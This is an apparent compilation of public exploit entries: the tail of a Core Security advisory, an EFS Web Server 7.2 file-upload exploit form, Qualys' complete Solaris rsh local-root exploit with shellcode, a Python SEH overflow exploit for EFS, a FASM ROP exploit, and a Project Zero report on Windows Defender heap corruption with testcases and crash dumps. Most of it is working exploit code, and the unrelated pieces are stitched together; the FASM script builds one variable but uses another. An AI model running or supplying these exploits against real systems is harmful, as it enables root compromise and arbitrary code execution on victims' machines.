CoreLabs, the research center of Core Security, is charged with
anticipating the future needs and requirements for information security
technologies.
We conduct our research in several important areas of computer security
including system vulnerabilities, cyber attack planning and simulation,
source code auditing, and cryptography. Our results include problem
formalization, identification of vulnerabilities, novel solutions and
prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use
at: http://corelabs.coresecurity.com.

11. *About Core Security*

Courion and Core Security have rebranded the combined company, changing
its name to Core Security, to reflect the company's strong commitment to
providing enterprises with market-leading, threat-aware, identity,
access and vulnerability management solutions that enable actionable
intelligence and context needed to manage security risks across the
enterprise. Core Security's analytics-driven approach to security
enables customers to manage access and identify vulnerabilities, in
order to minimize risks and maintain continuous compliance. Solutions
include Multi-Factor Authentication, Provisioning, Identity Governance
and Administration (IGA), Identity and Access Intelligence (IAI), and
Vulnerability Management (VM). The combination of these solutions
provides context and shared intelligence through analytics, giving
customers a more comprehensive view of their security posture so they
can make more informed, prioritized, and better security remediation
decisions.

Core Security is headquartered in the USA with offices and operations in
South America, Europe, Middle East and Asia. To learn more, contact Core
Security at (678) 304-4500 or info@coresecurity.com.

12. *Disclaimer*

The contents of this advisory are copyright (c) 2017 Core Security
and (c) 2017 CoreLabs, and are licensed under a Creative Commons
Attribution Non-Commercial Share-Alike 3.0 (United States) License:
http://creativecommons.org/licenses/by-nc-sa/3.0/us/

13. *PGP/GPG Keys*

This advisory has been signed with the GPG key of Core Security
advisories team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.
            
##################################
#   2017/6/15  Chako
#  
#   EFS Web Server 7.2 Unrestricted File Upload
#   Vendor Homepage: http://www.sharing-file.com
#   Software Link: https://www.exploit-db.com/apps/60f3ff1f3cd34dec80fba130ea481f31-efssetup.exe
#   Version: Easy File Sharing Web Server 7.2
#   Tested on: WinXP SP3
##################################




EFS Web Server 7.2 allows unauthorized users to upload malicious files





[Exploit]

// action="http://target_host/disk_c/vfolders
// </script><input size="20" name="upload_author" value="Admin" type="hidden"> 
// have to know the user name by Default "Admin"



<form action="http://192.168.136.129/disk_c/vfolders" name="post" onsubmit="return input(this)" enctype="multipart/form-data" method="post">
<input name="uploadid" id="uploadid" value="34533689" type="hidden">
          <center>
            <a name="reply"></a> 
            <table class="forumline" cellpadding="6" width="479">
              <tbody><tr bgcolor="#8080A6"> 
                <td bgcolor="#eff2f8" height="319"> 
                  <center>

<script language="JavaScript">
<!--
document.write('<input type="hidden" size="20" name="upload_author" Value="'+ReadCookie("UserID")+'">');
// -->
</script><input size="20" name="upload_author" value="Admin" type="hidden"> 
<script language="JavaScript">
<!--
document.write('<input type="hidden" size="20" name="upload_passwd" Value="'+ReadCookie("PassWD")+'">');
// --></script><input size="20" name="upload_passwd" value="829700" type="hidden"> 

                    <table cellpadding="0" border="0" width="437">
                      <tbody><tr> 
                        <td colspan="2" height="63"> <span class="bgen">Description:</span> <br> 
                          <input name="upload_title" id="upload_title" size="50" value="dd" type="text">
                          </td>
                      </tr>
                      <tr> 
                        <td colspan="2"><span class="bgen">File:</span> <br>
                          <input name="UploadedFile" id="UploadedFile" size="50" type="file">
                          <br> </td>
                      </tr>
                      <tr>
</tr>
<tr>
 
                        <td colspan="2" height="40"><font size="2" face="Arial, Helvetica, sans-serif" color="#FFFFFF"> 
                          <input name="Upload" class="button" value="Upload" type="submit">
                          </font> 

                      </td>
                      </tr>
                    </tbody></table>
                  </center></td>
              </tr>
            </tbody></table>
            
          </center>
        </form> 
		[/Exploit]
            
/*
 * Solaris_rsh.c for CVE-2017-3630, CVE-2017-3629, CVE-2017-3631
 * Copyright (C) 2017 Qualys, Inc.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 */

#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/fcntl.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#ifndef timersub
#define timersub(a, b, result) \
    do { \
        (result)->tv_sec = (a)->tv_sec - (b)->tv_sec; \
        (result)->tv_usec = (a)->tv_usec - (b)->tv_usec; \
        if ((result)->tv_usec < 0) { \
            --(result)->tv_sec; \
            (result)->tv_usec += 1000000; \
        } \
    } while (0)
#endif

#define RSH "/usr/bin/rsh"
static const struct target * target;
static const struct target {
    const char * name;
    size_t s_first, s_last, s_step;
    size_t l_first, l_last, l_step;
    size_t p_first, p_last, p_step;
    size_t a, b;
    size_t i, j;
} targets[] = {
    {
        .name = "Oracle Solaris 11.1 X86 (Assembled 19 September 2012)",
        .s_first = 16*1024, .s_last = 44*1024, .s_step = 4096,
        .l_first = 192,     .l_last = 512,     .l_step = 16,
        .p_first = 0,       .p_last = 8192,    .p_step = 1,
        .a = 0,             .b = 15,           .j = 12,
        .i = 0x08052608 /* pop edx; pop ebp; ret */
    },
    {
        .name = "Oracle Solaris 11.3 X86 (Assembled 06 October 2015)",
        .s_first = 12*1024, .s_last = 44*1024, .s_step = 4096,
        .l_first = 96,      .l_last = 512,     .l_step = 4,
        .p_first = 0,       .p_last = 4096,    .p_step = 4,
        .a = 0,             .b = 3,            .j = SIZE_MAX,
        .i = 0x07faa7ea /* call *0xc(%ebp) */
    },
};

#define ROOTSHELL "ROOT"
static const char shellcode[] =
    "\x31\xc0\x50\x68ROOT"
    "\x89\xe3\x50\x53\x89\xe2\x50\x50"
    "\x52\x53\xb0\x3C\x48\x50\xcd\x91"
    "\x31\xc0\x40\x50\x50\xcd\x91Z";

static volatile sig_atomic_t sigalarm;

static void
sigalarm_handler(const int signum __attribute__((__unused__)))
{
    sigalarm = 1;
}

#define die() do { \
    fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
    exit(EXIT_FAILURE); \
} while (0)

static int
is_suid_root(const char * const file)
{
    if (!file) die();
    static struct stat sbuf;
    if (stat(file, &sbuf)) die();
    if (!S_ISREG(sbuf.st_mode)) die();
    return ((sbuf.st_uid == 0) && (sbuf.st_mode & S_ISUID));
}

static const char *
build_lca(const size_t l)
{
    static const size_t shellcode_len = sizeof(shellcode)-1;
    if (shellcode_len > 64) die();
    if (shellcode_len % 16) die();
    if (l < shellcode_len + target->a + target->b) die();

    #define LCA_MAX 4096
    if (l > LCA_MAX) die();
    static char lca[128 + LCA_MAX];
    strcpy(lca, "LC_ALL=");
    char * cp = memchr(lca, '\0', sizeof(lca));
    if (!cp) die();
    memcpy(cp, shellcode, shellcode_len);
    cp += shellcode_len;
    memset(cp, 'a', target->a);

    size_t o;
    for (o = target->a; l - o >= 4; o += 4) {
        if ((o - target->a) % 16 == target->j) {
            cp[o + 0] = '\xeb';
            cp[o + 1] = (o - target->a >= 16) ? -(16u + 2u) :
                -(shellcode_len + target->a + target->j + 2);
            cp[o + 2] = 'j';
            cp[o + 3] = 'j';
        } else {
            if (sizeof(size_t) != 4) die();
            *(size_t *)(cp + o) = target->i;
        }
    }
    cp += o;
    memset(cp, 'b', target->b);
    cp[target->b] = '\0';
    if (strlen(lca) != 7 + shellcode_len + o + target->b) die();
    return lca;
}

static const char *
build_pad(const size_t p)
{
    #define PAD_MAX 8192
    if (p > PAD_MAX) die();
    static char pad[64 + PAD_MAX];
    strcpy(pad, "P=");
    char * const cp = memchr(pad, '\0', sizeof(pad));
    if (!cp) die();
    memset(cp, 'p', p);
    cp[p] = '\0';
    if (strlen(pad) != 2 + p) die();
    return pad;
}

static void
fork_worker(const size_t s, const char * const lca, const char * const pad)
{
    #define N_WORKERS 2
    static size_t n_workers;
    static struct {
        pid_t pid;
        struct timeval start;
    } workers[N_WORKERS];

    size_t i_worker;
    struct timeval start, stop, diff;

    if (n_workers >= N_WORKERS) {
        if (n_workers != N_WORKERS) die();
        int is_suid_rootshell = 0;
        for (;;) {
            sigalarm = 0;
            #define TIMEOUT 10
            alarm(TIMEOUT);
            int status = 0;
            const pid_t pid = waitpid(-1, &status, WUNTRACED);
            alarm(0);
            if (gettimeofday(&stop, NULL)) die();

            if (pid <= 0) {
                if (pid != -1) die();
                if (errno != EINTR) die();
                if (sigalarm != 1) die();
            }
            int found_pid = 0;
            for (i_worker = 0; i_worker < N_WORKERS; i_worker++) {
                const pid_t worker_pid = workers[i_worker].pid;
                if (worker_pid <= 0) die();
                if (worker_pid == pid) {
                    if (found_pid) die();
                    found_pid = 1;
                    if (WIFEXITED(status) || WIFSIGNALED(status))
                        workers[i_worker].pid = 0;
                } else {
                    timersub(&stop, &workers[i_worker].start, &diff);
                    if (diff.tv_sec >= TIMEOUT)
                        if (kill(worker_pid, SIGKILL)) die();
                }
            }
            if (!found_pid) {
                if (pid != -1) die();
                continue;
            }
            if (WIFEXITED(status)) {
                if (WEXITSTATUS(status) != EXIT_FAILURE)
                    fprintf(stderr, "exited %d\n", WEXITSTATUS(status));
                break;
            } else if (WIFSIGNALED(status)) {
                if (WTERMSIG(status) != SIGSEGV)
                    fprintf(stderr, "signal %d\n", WTERMSIG(status));
                break;
            } else if (WIFSTOPPED(status)) {
                fprintf(stderr, "stopped %d\n", WSTOPSIG(status));
                is_suid_rootshell |= is_suid_root(ROOTSHELL);
                if (kill(pid, SIGKILL)) die();
                continue;
            }
            fprintf(stderr, "unknown %d\n", status);
            die();
        }
        if (is_suid_rootshell) {
            system("ls -lL " ROOTSHELL);
            exit(EXIT_SUCCESS);
        }
        n_workers--;
    }
    if (n_workers >= N_WORKERS) die();

    static char rsh_link[64];
    if (*rsh_link != '/') {
        const int rsh_fd = open(RSH, O_RDONLY);
        if (rsh_fd <= STDERR_FILENO) die();
        if ((unsigned int)snprintf(rsh_link, sizeof(rsh_link),
            "/proc/%ld/fd/%d", (long)getpid(), rsh_fd) >= sizeof(rsh_link)) die();
        if (access(rsh_link, R_OK | X_OK)) die();
        if (*rsh_link != '/') die();
    }

    static int null_fd = -1;
    if (null_fd <= -1) {
        null_fd = open("/dev/null", O_RDWR);
        if (null_fd <= -1) die();
    }

    const pid_t pid = fork();
    if (pid <= -1) die();
    if (pid == 0) {
        const struct rlimit stack = { s, s };
        if (setrlimit(RLIMIT_STACK, &stack)) die();

        if (dup2(null_fd, STDIN_FILENO) != STDIN_FILENO) die();
        if (dup2(null_fd, STDOUT_FILENO) != STDOUT_FILENO) die();
        if (dup2(null_fd, STDERR_FILENO) != STDERR_FILENO) die();

        static char * const argv[] = { rsh_link, "-?", NULL };
        char * const envp[] = { (char *)lca, (char *)pad, NULL };
        execve(*argv, argv, envp);
        die();
    }
    if (gettimeofday(&start, NULL)) die();
    for (i_worker = 0; i_worker < N_WORKERS; i_worker++) {
        const pid_t worker_pid = workers[i_worker].pid;
        if (worker_pid > 0) continue;
        if (worker_pid != 0) die();
        workers[i_worker].pid = pid;
        workers[i_worker].start = start;
        n_workers++;
        return;
    }
    die();
}

int
main(const int argc, const char * const argv[])
{
    static const struct rlimit core;
    if (setrlimit(RLIMIT_CORE, &core)) die();

    if (geteuid() == 0) {
        if (is_suid_root(ROOTSHELL)) {
            if (setuid(0)) die();
            if (setgid(0)) die();
            static char * const argv[] = { "/bin/sh", NULL };
            execve(*argv, argv, NULL);
            die();
        }
        chown(*argv, 0, 0);
        chmod(*argv, 04555);
        for (;;) {
            raise(SIGSTOP);
            sleep(1);
        }
        die();
    }
    if (symlink(*argv, ROOTSHELL)) {
        if (errno != EEXIST) die();
    }

    if (argc != 2) {
        fprintf(stderr, "Usage: %s target\n", *argv);
        size_t i;
        for (i = 0; i < sizeof(targets)/sizeof(*targets); i++) {
            fprintf(stderr, "Target %zu %s\n", i, targets[i].name);
        }
        die();
    }
  {
    const size_t i = strtoul(argv[1], NULL, 10);
    if (i >= sizeof(targets)/sizeof(*targets)) die();
    target = targets + i;
    fprintf(stderr, "Target %zu %s\n", i, target->name);
  }
    if (target->a >= 16) die();
    if (target->b >= 16) die();
    if (target->i <= 0) die();
    if (target->j >= 16 || target->j % 4) {
        if (target->j != SIZE_MAX) die();
    }

    static const struct sigaction sigalarm_action = { .sa_handler = sigalarm_handler };
    if (sigaction(SIGALRM, &sigalarm_action, NULL)) die();

    size_t s;
    for (s = target->s_first; s <= target->s_last; s += target->s_step) {
        if (s % target->s_step) die();

        size_t l;
        for (l = target->l_first; l <= target->l_last; l += target->l_step) {
            if (l % target->l_step) die();
            const char * const lca = build_lca(l);
            fprintf(stderr, "s %zu l %zu\n", s, l);

            size_t p;
            for (p = target->p_first; p <= target->p_last; p += target->p_step) {
                if (p % target->p_step) die();
                const char * const pad = build_pad(p);
                fork_worker(s, lca, pad);
            }
        }
    }
    fprintf(stderr, "Please try again\n");
    die();
}
            
#!/usr/bin/python

##################################
#   2017/6/17  Chako
#  
#   EFS Web Server 7.2 - Local Buffer Overflow(SEH)
#   Tested on: Windows XP SP3 EN (DEP Off)
#   Software Link: https://www.exploit-db.com/apps/60f3ff1f3cd34dec80fba130ea481f31-efssetup.exe
#
#   Description:
#   When importing a large user account file on to EFS Web Server 7.2
#   will trigger the vuln.
##################################

import struct


# msfvenom -p windows/exec cmd=calc.exe -e x86/alpha_mixed -v Shellcode -f python
Shellcode =  ""
Shellcode += "\x89\xe5\xdb\xd8\xd9\x75\xf4\x5f\x57\x59\x49\x49"
Shellcode += "\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43"
Shellcode += "\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30"
Shellcode += "\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30"
Shellcode += "\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
Shellcode += "\x59\x6c\x59\x78\x4d\x52\x75\x50\x57\x70\x43\x30"
Shellcode += "\x55\x30\x6d\x59\x4b\x55\x55\x61\x6f\x30\x53\x54"
Shellcode += "\x6e\x6b\x56\x30\x30\x30\x6c\x4b\x53\x62\x44\x4c"
Shellcode += "\x6c\x4b\x36\x32\x72\x34\x4e\x6b\x34\x32\x75\x78"
Shellcode += "\x44\x4f\x6d\x67\x50\x4a\x47\x56\x34\x71\x6b\x4f"
Shellcode += "\x6e\x4c\x37\x4c\x31\x71\x53\x4c\x57\x72\x56\x4c"
Shellcode += "\x55\x70\x7a\x61\x48\x4f\x44\x4d\x73\x31\x78\x47"
Shellcode += "\x39\x72\x39\x62\x63\x62\x71\x47\x4e\x6b\x66\x32"
Shellcode += "\x46\x70\x6c\x4b\x51\x5a\x37\x4c\x4c\x4b\x62\x6c"
Shellcode += "\x46\x71\x53\x48\x58\x63\x32\x68\x57\x71\x38\x51"
Shellcode += "\x70\x51\x6e\x6b\x62\x79\x71\x30\x66\x61\x58\x53"
Shellcode += "\x4e\x6b\x57\x39\x34\x58\x39\x73\x67\x4a\x47\x39"
Shellcode += "\x4c\x4b\x50\x34\x4e\x6b\x36\x61\x39\x46\x45\x61"
Shellcode += "\x6b\x4f\x4c\x6c\x6b\x71\x78\x4f\x66\x6d\x56\x61"
Shellcode += "\x6b\x77\x34\x78\x4b\x50\x74\x35\x6b\x46\x37\x73"
Shellcode += "\x33\x4d\x38\x78\x67\x4b\x43\x4d\x67\x54\x43\x45"
Shellcode += "\x59\x74\x63\x68\x4c\x4b\x70\x58\x46\x44\x67\x71"
Shellcode += "\x6b\x63\x72\x46\x6c\x4b\x34\x4c\x52\x6b\x6c\x4b"
Shellcode += "\x33\x68\x37\x6c\x55\x51\x49\x43\x4c\x4b\x55\x54"
Shellcode += "\x4e\x6b\x63\x31\x6a\x70\x6b\x39\x53\x74\x35\x74"
Shellcode += "\x57\x54\x73\x6b\x61\x4b\x53\x51\x50\x59\x33\x6a"
Shellcode += "\x62\x71\x79\x6f\x4d\x30\x51\x4f\x33\x6f\x33\x6a"
Shellcode += "\x6c\x4b\x37\x62\x5a\x4b\x6c\x4d\x31\x4d\x71\x7a"
Shellcode += "\x57\x71\x4e\x6d\x4f\x75\x6c\x72\x43\x30\x77\x70"
Shellcode += "\x73\x30\x50\x50\x42\x48\x56\x51\x4e\x6b\x52\x4f"
Shellcode += "\x4e\x67\x6b\x4f\x68\x55\x4f\x4b\x48\x70\x6f\x45"
Shellcode += "\x6c\x62\x50\x56\x52\x48\x4d\x76\x4a\x35\x4f\x4d"
Shellcode += "\x6d\x4d\x49\x6f\x58\x55\x55\x6c\x33\x36\x61\x6c"
Shellcode += "\x74\x4a\x6b\x30\x69\x6b\x4d\x30\x74\x35\x54\x45"
Shellcode += "\x4d\x6b\x47\x37\x62\x33\x72\x52\x70\x6f\x32\x4a"
Shellcode += "\x63\x30\x56\x33\x59\x6f\x4e\x35\x33\x53\x63\x51"
Shellcode += "\x52\x4c\x33\x53\x44\x6e\x73\x55\x72\x58\x65\x35"
Shellcode += "\x77\x70\x41\x41"




#SEH record (nseh field) at 0x0012b318 overwritten with normal pattern (offset 2563)
Junk = "\x41" * 2563

nSEH = "\xEB\x0F\x90\x90"

# 0x10012f3b : pop esi # pop ebx # ret  | ascii {PAGE_EXECUTE_READ} [ImageLoad.dll] 
# ASLR: False, Rebase: False, SafeSEH: False, OS: False
SEH = struct.pack("<L", 0x10012f3b)


NOP = "\x90" * 10

BoF = Junk + nSEH + SEH + NOP + Shellcode + NOP


print len(BoF)
f = open ("exploit.txt", "w")
f.write(BoF)
f.close()
            
#!/usr/bin/python
# Developed using Exploit Pack - http://exploitpack.com - <jsacco@exploitpack.com>
#
# Exploit Author: Juan Sacco <juan.sacco@kpn.com> at KPN Red Team - http://www.kpn.com
# Tested on: GNU/Linux - Kali 2017.1 Release
#
# What is FASM?
# Flat assembler is a fast, self-compilable assembly language compiler for the
# x86 and x86-64 architecture processors, which does multiple passes to optimize
# the size of generated machine code.
#
# Impact: FASM ( Flat Assembler  ) 1.7.21 and prior is prone to a stack-based buffer overflow
# vulnerability because the application fails to perform adequate
# boundary-checks on user-supplied input.
#
# An attacker could exploit this vulnerability to execute arbitrary code in the
# context of the application. Failed exploit attempts will result in a
# denial-of-service condition.
#
# Version: 1.71.21
# Architecture: i386
# Download here: http://ba.mirror.garr.it/mirrors/slitaz/sources/packages-cooking/f/fasm-1.71.21.tgz
#
# Vendor homepage: http://www.flatassembler.net`
#
import os,subprocess
from struct import pack

# EIP found at offset: 5895
# Entry point: 0x8048d68
# Canary: off
# Fortify: off
# NX: Enabled
# PIE: off
# Relro: Partial

junk = 'A' * 5895
execve_rop += pack('<I', 0x0805ad4f) # pop edx ; ret
execve_rop += pack('<I', 0x0810b060) # @ .data
execve_rop += pack('<I', 0x08050eb2) # pop eax ; ret
execve_rop += '/bin'
execve_rop += pack('<I', 0x080b1bcd) # mov dword ptr [edx], eax ; ret
execve_rop += pack('<I', 0x0805ad4f) # pop edx ; ret
execve_rop += pack('<I', 0x0810b064) # @ .data + 4
execve_rop += pack('<I', 0x08050eb2) # pop eax ; ret
execve_rop += '//sh'
execve_rop += pack('<I', 0x080b1bcd) # mov dword ptr [edx], eax ; ret
execve_rop += pack('<I', 0x0805ad4f) # pop edx ; ret
execve_rop += pack('<I', 0x0810b068) # @ .data + 8
execve_rop += pack('<I', 0x0804891b) # xor eax, eax ; ret
execve_rop += pack('<I', 0x080b1bcd) # mov dword ptr [edx], eax ; ret
execve_rop += pack('<I', 0x080481e1) # pop ebx ; ret
execve_rop += pack('<I', 0x0810b060) # @ .data
execve_rop += pack('<I', 0x0804a250) # pop ecx ; ret
execve_rop += pack('<I', 0x0810b068) # @ .data + 8
execve_rop += pack('<I', 0x0805ad4f) # pop edx ; ret
execve_rop += pack('<I', 0x0810b068) # @ .data + 8
execve_rop += pack('<I', 0x0804891b) # xor eax, eax ; ret
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
execve_rop += pack('<I', 0x0805ff3d) # int 0x80
buffer = junk + chain_rop

try:
   print("[*] FASM 1.7.21 - Buffer Overflow + ROP by Juan Sacco")
   print("[*] Please wait.. running")
   subprocess.call(["fasm", buffer])
except OSError as e:
   if e.errno == os.errno.ENOENT:
       print "[*] FASM  not found!"
   else:
    print "[*] Error executing exploit"
   raise
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1282&desc=2

In   issue 1260   I discussed Microsoft's "apicall" instruction that can invoke a large number of internal emulator apis and is exposed to remote attackers by default in all recent versions of Windows. I asked Microsoft if this was intentionally exposed, and they replied "The apicall instruction is exposed for multiple reasons", so this is intentional.

This full system x86 emulator runs as SYSTEM, is unsandboxed, is enabled by default and remotely accessible to attackers.

I took a quick stab at writing a fuzzer and immediately found heap corruption in the KERNEL32.DLL!VFS_Write API, I suspect this has never been fuzzed before. A minimal testcase would be something like this:

int main(int argc, char **argv)
{
    MpApiCall("NTDLL.DLL", "NtControlChannel", 0xA);    // Disable apicall limit

    for (int i = 0; i < 16; i++) {
        MpApiCall("NTDLL.DLL", "VFS_Open", (uint64_t) L"filename", 0);
        MpApiCall("NTDLL.DLL", "VFS_Write", i, (uint64_t) "data", 0, 0);
        MpApiCall("NTDLL.DLL", "VFS_Write", i, (uint64_t) "data", -1, 0);
    }

    return 0;
}

I suspect the MutableByteStream object getting corrupted with an unchecked memcpy, I've seen multiple different stacktraces including wild eip.

See attachment for MpApiCall() implementation, and pre-compiled testcase, renamed testcase.txt. Note that as soon as the testcase.txt file touches disk, it will immediately crash the MsMpEng service on Windows, which may destabilize your system. The testcases have been encrypted to prevent crashing your exchange server.

This bug was found on Linux using Address Sanitizer:

$ ./mpclient extra/testcase.exe 
main(): Scanning extra/testcase.exe...
EngineScanCallback(): Scanning input
*** Error in `./mpclient': free(): invalid pointer: 0x0a5b4e50 ***
Aborted (core dumped)

Then verified on Windows in MsMpEng.exe:

Critical error detected c0000374
Break instruction exception - code 80000003 (first chance)
ntdll!RtlReportCriticalFailure+0x29:
001b:76fc3b6d cc              int     3
2: kd> kv
ChildEBP RetAddr  Args to Child              
0192e638 76fc4acd c0000374 76fdedd8 0192e67c ntdll!RtlReportCriticalFailure+0x29 (FPO: [Non-Fpo])
0192e648 76fc4bad 00000002 777482b4 11109bb0 ntdll!RtlpReportHeapFailure+0x21 (FPO: [Non-Fpo])
0192e67c 76f8a1dc 0000000c 00370000 11109bb0 ntdll!RtlpLogHeapFailure+0xa1 (FPO: [Non-Fpo])
0192e76c 76f55950 0000cc5c 0000cc68 003700c4 ntdll!RtlpAllocateHeap+0x7b2 (FPO: [Non-Fpo])
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for mpengine.dll - 
0192e7f0 66ac184e 00370000 00000008 0000cc5c ntdll!RtlAllocateHeap+0x23a (FPO: [Non-Fpo])
WARNING: Stack unwind information not available. Following frames may be wrong.
0192e808 668b60ef 0000cc5c 00000001 0cb26e40 mpengine!FreeSigFiles+0x1cb14e
0192e858 6682c1a7 94741586 0cb26e40 11069948 mpengine!_rsignal+0x3479f
0192e880 668266f5 947414e2 00000000 0192eb34 mpengine+0x20c1a7
0192e9e4 668251ce 0192eb34 0cb26e40 00001000 mpengine+0x2066f5
0192ea38 66822fd1 0cb26e40 109ee478 00001000 mpengine+0x2051ce
0192eab0 66823127 0192eae0 0192eb34 00000000 mpengine+0x202fd1
0192eba8 66822d18 0192ec00 0192ec54 00000000 mpengine+0x203127
0192ec70 66823533 0192ec98 110c02e0 947411c2 mpengine+0x202d18
0192ecc4 668244b5 110c02e0 947411fa 106bde30 mpengine+0x203533
0192ecfc 66824593 110c02e0 94741382 00000000 mpengine+0x2044b5
0192ee84 6682085f 0192f7dc 00000000 003e7cd8 mpengine+0x204593
0192ee9c 6682088b 0192eeb8 66823dd2 0192f7dc mpengine+0x20085f
0192eea4 66823dd2 0192f7dc 0192f7dc 947413be mpengine+0x20088b
0192eeb8 66820829 0192f7dc 003e7cd8 66820790 mpengine+0x203dd2
0192eed8 66823d4a 0192f7dc 00000000 9474121a mpengine+0x200829
0192ef1c 6682d2a0 0192f7dc 0000800c 0192f7dc mpengine+0x203d4a
0192ef30 668820be 947409ce 66881ba0 00370bf8 mpengine+0x20d2a0
0192f4c8 66881b5f 00004039 0192f7dc 00000030 mpengine!_rsignal+0x76e
0192f4f0 66881a1e 0192f7dc 00000030 94740bfe mpengine!_rsignal+0x20f
0192f6f8 66881987 0192f7dc 00000030 0192f758 mpengine!_rsignal+0xce
0192f708 71436eff 003d5c60 00004039 0192f7dc mpengine!_rsignal+0x37
0192f758 7061480b 003d5bf8 00004039 0192f7dc mpsvc!rsignal_wrapper+0xef (FPO: [Non-Fpo])
0192f784 706478b4 0192f7dc 0192f828 00000000 mprtp!RealtimeProtection::CCMEngine::NotifyChange+0x7e (FPO: [1,2,0])
0192f7a0 70647b53 9479983c 00000004 70647900 mprtp!RealtimeProtection::MpNotifyChangeEx+0x9a (FPO: [Non-Fpo])
0192f870 70646b0a 01dfa2a8 01dda8b8 01dfa2a8 mprtp!RealtimeProtection::MpOpenProcessNotificationWorker+0x253 (FPO: [Non-Fpo])
0192f888 70649aec 70649ab0 01dda8b0 0192f8ac mprtp!RealtimeProtection::AsyncNotificationWorker+0x86 (FPO: [Non-Fpo])
0192f898 70617e47 005209e8 70617dd0 947998e0 mprtp!RealtimeProtection::CAsyncNotificationWorkItem::ExecuteJob+0x3c (FPO: [0,1,4])
0192f8ac 73f3389a 01dda8b8 947c55e2 76f7268c mprtp!CommonUtil::CMpThreadPoolItemBase::DoAction+0x77 (FPO: [Non-Fpo])
0192f8e8 76f126d5 0192f948 0051c2b8 003a0c00 mpclient!CommonUtil::CMpThreadPoolProviderVista::WorkCallback+0xca (FPO: [Non-Fpo])
0192f90c 76f30774 0192f948 003a0c60 77749e94 ntdll!TppWorkpExecuteCallback+0x10f (FPO: [Non-Fpo])
0192fa5c 75f1ef8c 003a4e58 0192faa8 76f6367a ntdll!TppWorkerThread+0x562 (FPO: [Non-Fpo])
0192fa68 76f6367a 003a4e58 77749e60 00000000 kernel32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])
0192faa8 76f6364d 76f302cb 003a4e58 00000000 ntdll!__RtlUserThreadStart+0x70 (FPO: [Non-Fpo])
0192fac0 00000000 76f302cb 003a4e58 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])
2: kd> lmv m mpengine
start    end        module name
66620000 67015000   mpengine   (export symbols)       mpengine.dll
    Loaded symbol image file: mpengine.dll
    Image path: c:\ProgramData\Microsoft\Microsoft Antimalware\Definition Updates\{CCD47945-D7B4-402F-99F0-622F76161ECD}\mpengine.dll
    Image name: mpengine.dll
    Timestamp:        Tue May 23 10:52:27 2017 (592476DB)
    CheckSum:         00A1867D
    ImageSize:        009F5000
    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4

################################################################################

I had some time to minimize the bug, a minimal testcase would be this:

    MpApiCall("NTDLL.DLL", "VFS_Write", 1, Buf, 0, 0xffffffff, 0);
    MpApiCall("NTDLL.DLL", "VFS_Write", 1, Buf, 0x7ff, 0x41414141, 0);

The first call extends the length of the file to nOffset, but because the numberOfBytes parameter is 0 no space is allocated. Then you can read and write arbitrary data to an arbitrary offset to the MutableByteStream object buffer. This is a very powerful exploit primitive, and exploitation does not seem difficult.

################################################################################

Here is a better testcase that crashes in a memcpy to a bad destination offset.

(gdb) r
Starting program: mpclient testcase.exe
main(): Scanning testcase.exe...
EngineScanCallback(): Scanning input

Program received signal SIGSEGV, Segmentation fault.
0xf6e98c08 in ?? ()
(gdb) x/i $pc
=> 0xf6e98c08:	rep movs DWORD PTR es:[edi],DWORD PTR ds:[esi]
(gdb) p/x $edi
$1 = 0xc7028a20
(gdb) p/x $esi
$2 = 0x843e228
(gdb) x/10xb $esi
0x843e228:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x843e230:	0x00	0x00
(gdb) x/10xb $edi
0xc7028a20:	Cannot access memory at address 0xc7028a20
(gdb) r

################################################################################

stacktrace on windows:

2: kd> r
eax=c7c13828 ebx=1ca71d90 ecx=00000400 edx=00001000 esi=1ca71d90 edi=db6625b8
eip=669c44e0 esp=0242c210 ebp=0242c234 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
mpengine!memcpy+0x250:
001b:669c44e0 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
2: kd> dd edi
db6625b8  ???????? ???????? ???????? ????????
db6625c8  ???????? ???????? ???????? ????????
db6625d8  ???????? ???????? ???????? ????????
db6625e8  ???????? ???????? ???????? ????????
db6625f8  ???????? ???????? ???????? ????????
db662608  ???????? ???????? ???????? ????????
db662618  ???????? ???????? ???????? ????????
db662628  ???????? ???????? ???????? ????????
2: kd> kv
ChildEBP RetAddr  Args to Child              
0242c214 66a84a47 db6625b8 1ca71d90 00001000 mpengine!memcpy+0x250 (FPO: [3,0,2])
